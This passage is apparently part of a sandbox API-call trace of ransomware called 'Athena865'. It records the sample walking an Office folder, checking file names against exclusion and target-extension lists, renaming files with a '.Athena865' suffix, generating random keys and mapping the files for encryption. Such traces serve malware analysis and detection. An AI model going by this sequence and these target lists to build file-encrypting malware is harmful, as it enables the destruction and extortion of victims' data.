lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.534] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.534] CloseHandle (hObject=0x17c) returned 1 [0148.534] CloseHandle (hObject=0x154) returned 1 [0148.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.534] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43d9b00, ftCreationTime.dwHighDateTime=0x1c2a020, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd43d9b00, ftLastWriteTime.dwHighDateTime=0x1c2a020, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WDCMPVRD.XML", cAlternateFileName="")) returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2=".") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="..") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="windows") returned -1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="bootmgr") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="temp") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="pagefile.sys") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="boot") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="ids.txt") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="ntuser.dat") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="perflogs") returned 1 [0148.534] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2="MSBuild") returned 1 [0148.535] lstrlenW (lpString="WDCMPVRD.XML") returned 12 [0148.535] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WDCMPVRD.XML" | out: lpString1="WDCMPVRD.XML") returned="WDCMPVRD.XML" [0148.535] lstrlenW (lpString="WDCMPVRD.XML") returned 12 [0148.535] lstrlenW (lpString="Athena865") returned 9 [0148.535] lstrcmpiW (lpString1="MPVRD.XML", lpString2="Athena865") returned 1 [0148.535] lstrlenW (lpString=".dll") returned 4 [0148.535] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2=".dll") returned 1 [0148.535] lstrlenW (lpString=".lnk") returned 4 [0148.535] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2=".lnk") returned 1 [0148.535] lstrlenW (lpString=".ini") returned 4 [0148.535] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2=".ini") returned 1 [0148.535] lstrlenW (lpString=".sys") returned 4 [0148.535] lstrcmpiW (lpString1="WDCMPVRD.XML", lpString2=".sys") returned 1 [0148.535] lstrlenW (lpString="WDCMPVRD.XML") returned 12 [0148.535] lstrlenW (lpString="bak") returned 3 [0148.535] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0148.535] lstrlenW (lpString="ba_") returned 3 [0148.535] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0148.535] lstrlenW (lpString="dbb") returned 3 [0148.535] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0148.535] lstrlenW (lpString="vmdk") returned 4 [0148.535] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0148.535] lstrlenW (lpString="rar") returned 3 [0148.535] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0148.535] lstrlenW (lpString="zip") returned 3 [0148.535] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0148.535] lstrlenW (lpString="tgz") returned 3 [0148.535] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0148.536] lstrlenW (lpString="vbox") returned 4 [0148.536] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0148.536] lstrlenW (lpString="vdi") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0148.536] lstrlenW (lpString="vhd") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0148.536] lstrlenW (lpString="vhdx") returned 4 [0148.536] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0148.536] lstrlenW (lpString="avhd") returned 4 [0148.536] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0148.536] lstrlenW (lpString="db") returned 2 [0148.536] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0148.536] lstrlenW (lpString="db2") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0148.536] lstrlenW (lpString="db3") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0148.536] lstrlenW (lpString="dbf") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0148.536] lstrlenW (lpString="mdf") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0148.536] lstrlenW (lpString="mdb") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0148.536] lstrlenW (lpString="sql") returned 3 [0148.536] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0148.536] lstrlenW (lpString="sqlite") returned 6 [0148.536] lstrcmpiW (lpString1="RD.XML", lpString2="sqlite") returned -1 [0148.536] lstrlenW (lpString="sqlite3") returned 7 [0148.536] lstrcmpiW (lpString1="VRD.XML", lpString2="sqlite3") returned 1 [0148.536] lstrlenW (lpString="sqlitedb") returned 8 [0148.536] lstrcmpiW (lpString1="PVRD.XML", lpString2="sqlitedb") returned -1 [0148.537] lstrlenW (lpString="xml") returned 3 [0148.537] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0148.537] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.Athena865") returned 70 [0148.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.athena865"), dwFlags=0x1) returned 1 [0148.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.543] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1401) returned 1 [0148.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.543] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.544] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.544] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.544] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x880, lpName=0x0) returned 0x17c [0148.547] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x880) returned 0x100000 [0148.547] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.548] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.548] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.549] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.549] CloseHandle (hObject=0x17c) returned 1 [0148.549] CloseHandle (hObject=0x154) returned 1 [0148.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.549] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f40800, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x15f40800, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x722, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WDERRLNK.VRD", cAlternateFileName="")) returned 1 [0148.549] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.549] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.549] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2=".") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="..") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="windows") returned -1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="bootmgr") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="temp") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="pagefile.sys") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="boot") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="ids.txt") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="ntuser.dat") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="perflogs") returned 1 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="MSBuild") returned 1 [0148.550] lstrlenW (lpString="WDERRLNK.VRD") returned 12 [0148.550] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WDERRLNK.VRD" | out: lpString1="WDERRLNK.VRD") returned="WDERRLNK.VRD" [0148.550] lstrlenW (lpString="WDERRLNK.VRD") returned 12 [0148.550] lstrlenW (lpString="Athena865") returned 9 [0148.550] lstrcmpiW (lpString1="RRLNK.VRD", lpString2="Athena865") returned 1 [0148.550] lstrlenW (lpString=".dll") returned 4 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2=".dll") returned 1 [0148.550] lstrlenW (lpString=".lnk") returned 4 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2=".lnk") returned 1 [0148.550] lstrlenW (lpString=".ini") returned 4 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2=".ini") returned 1 [0148.550] lstrlenW (lpString=".sys") returned 4 [0148.550] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2=".sys") returned 1 [0148.550] lstrlenW (lpString="WDERRLNK.VRD") returned 12 [0148.550] lstrlenW (lpString="bak") returned 3 [0148.550] lstrcmpiW (lpString1="VRD", lpString2="bak") returned 1 [0148.550] lstrlenW (lpString="ba_") returned 3 [0148.550] lstrcmpiW (lpString1="VRD", lpString2="ba_") returned 1 [0148.551] lstrlenW (lpString="dbb") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="dbb") returned 1 [0148.551] lstrlenW (lpString="vmdk") returned 4 [0148.551] lstrcmpiW (lpString1=".VRD", lpString2="vmdk") returned -1 [0148.551] lstrlenW (lpString="rar") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="rar") returned 1 [0148.551] lstrlenW (lpString="zip") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="zip") returned -1 [0148.551] lstrlenW (lpString="tgz") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="tgz") returned 1 [0148.551] lstrlenW (lpString="vbox") returned 4 [0148.551] lstrcmpiW (lpString1=".VRD", lpString2="vbox") returned -1 [0148.551] lstrlenW (lpString="vdi") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="vdi") returned 1 [0148.551] lstrlenW (lpString="vhd") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="vhd") returned 1 [0148.551] lstrlenW (lpString="vhdx") returned 4 [0148.551] lstrcmpiW (lpString1=".VRD", lpString2="vhdx") returned -1 [0148.551] lstrlenW (lpString="avhd") returned 4 [0148.551] lstrcmpiW (lpString1=".VRD", lpString2="avhd") returned -1 [0148.551] lstrlenW (lpString="db") returned 2 [0148.551] lstrcmpiW (lpString1="RD", lpString2="db") returned 1 [0148.551] lstrlenW (lpString="db2") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="db2") returned 1 [0148.551] lstrlenW (lpString="db3") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="db3") returned 1 [0148.551] lstrlenW (lpString="dbf") returned 3 [0148.551] lstrcmpiW (lpString1="VRD", lpString2="dbf") returned 1 [0148.551] lstrlenW (lpString="mdf") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="mdf") returned 1 [0148.552] lstrlenW (lpString="mdb") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="mdb") returned 1 [0148.552] lstrlenW (lpString="sql") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="sql") returned 1 [0148.552] lstrlenW (lpString="sqlite") returned 6 [0148.552] lstrcmpiW (lpString1="NK.VRD", lpString2="sqlite") returned -1 [0148.552] lstrlenW (lpString="sqlite3") returned 7 [0148.552] lstrcmpiW (lpString1="LNK.VRD", lpString2="sqlite3") returned -1 [0148.552] lstrlenW (lpString="sqlitedb") returned 8 [0148.552] lstrcmpiW (lpString1="RLNK.VRD", lpString2="sqlitedb") returned -1 [0148.552] lstrlenW (lpString="xml") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="xml") returned -1 [0148.552] lstrlenW (lpString="$er") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="$er") returned 1 [0148.552] lstrlenW (lpString="4dd") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="4dd") returned 1 [0148.552] lstrlenW (lpString="4dl") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="4dl") returned 1 [0148.552] lstrlenW (lpString="^^^") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="^^^") returned 1 [0148.552] lstrlenW (lpString="abs") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="abs") returned 1 [0148.552] lstrlenW (lpString="abx") returned 3 [0148.552] lstrcmpiW (lpString1="VRD", lpString2="abx") returned 1 [0148.552] lstrlenW (lpString="accdb") returned 5 [0148.552] lstrcmpiW (lpString1="K.VRD", lpString2="accdb") returned 1 [0148.552] lstrlenW (lpString="accdc") returned 5 [0148.552] lstrcmpiW (lpString1="K.VRD", lpString2="accdc") returned 1 [0148.553] lstrlenW (lpString="accde") returned 5 [0148.553] lstrcmpiW (lpString1="K.VRD", lpString2="accde") returned 1 [0148.553] lstrlenW (lpString="accdr") returned 5 [0148.553] lstrcmpiW (lpString1="K.VRD", lpString2="accdr") returned 1 [0148.553] lstrlenW (lpString="accdt") returned 5 [0148.553] lstrcmpiW (lpString1="K.VRD", lpString2="accdt") returned 1 [0148.553] lstrlenW (lpString="accdw") returned 5 [0148.553] lstrcmpiW (lpString1="K.VRD", lpString2="accdw") returned 1 [0148.553] lstrlenW (lpString="accft") returned 5 [0148.553] lstrcmpiW (lpString1="K.VRD", lpString2="accft") returned 1 [0148.553] lstrlenW (lpString="adb") returned 3 [0148.553] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0148.553] lstrlenW (lpString="adb") returned 3 [0148.553] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0148.553] lstrlenW (lpString="ade") returned 3 [0148.553] lstrcmpiW (lpString1="VRD", lpString2="ade") returned 1 [0148.553] lstrlenW (lpString="adf") returned 3 [0148.553] lstrcmpiW (lpString1="VRD", lpString2="adf") returned 1 [0148.553] lstrcmpiW (lpString1="VRD", lpString2="adn") returned 1 [0148.553] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.Athena865") returned 70 [0148.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.athena865"), dwFlags=0x1) returned 1 [0148.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.555] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1826) returned 1 [0148.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.556] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.556] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.556] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.556] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa30, lpName=0x0) returned 0x17c [0148.558] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa30) returned 0x100000 [0148.559] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.559] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.559] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.560] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.560] CloseHandle (hObject=0x17c) returned 1 [0148.560] CloseHandle (hObject=0x154) returned 1 [0148.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.560] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4b425a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ.DEV.HXS", cAlternateFileName="WINPRO~1.HXS")) returned 1 [0148.561] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.561] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.561] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2=".") returned 1 [0148.561] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="..") returned 1 [0148.561] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="windows") returned 1 [0148.561] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="bootmgr") returned 1 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="temp") returned 1 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="pagefile.sys") returned 1 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="boot") returned 1 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="ids.txt") returned 1 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="ntuser.dat") returned 1 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="perflogs") returned 1 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2="MSBuild") returned 1 [0148.562] lstrlenW (lpString="WINPROJ.DEV.HXS") returned 15 [0148.562] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ.DEV.HXS" | out: lpString1="WINPROJ.DEV.HXS") returned="WINPROJ.DEV.HXS" [0148.562] lstrlenW (lpString="WINPROJ.DEV.HXS") returned 15 [0148.562] lstrlenW (lpString="Athena865") returned 9 [0148.562] lstrcmpiW (lpString1="J.DEV.HXS", lpString2="Athena865") returned 1 [0148.562] lstrlenW (lpString=".dll") returned 4 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2=".dll") returned 1 [0148.562] lstrlenW (lpString=".lnk") returned 4 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2=".lnk") returned 1 [0148.562] lstrlenW (lpString=".ini") returned 4 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2=".ini") returned 1 [0148.562] lstrlenW (lpString=".sys") returned 4 [0148.562] lstrcmpiW (lpString1="WINPROJ.DEV.HXS", lpString2=".sys") returned 1 [0148.562] lstrlenW (lpString="WINPROJ.DEV.HXS") returned 15 [0148.562] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.Athena865") returned 73 [0148.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0148.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.568] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4932186) returned 1 [0148.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.569] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.569] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.569] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.570] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b4560, lpName=0x0) returned 0x17c [0148.571] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, 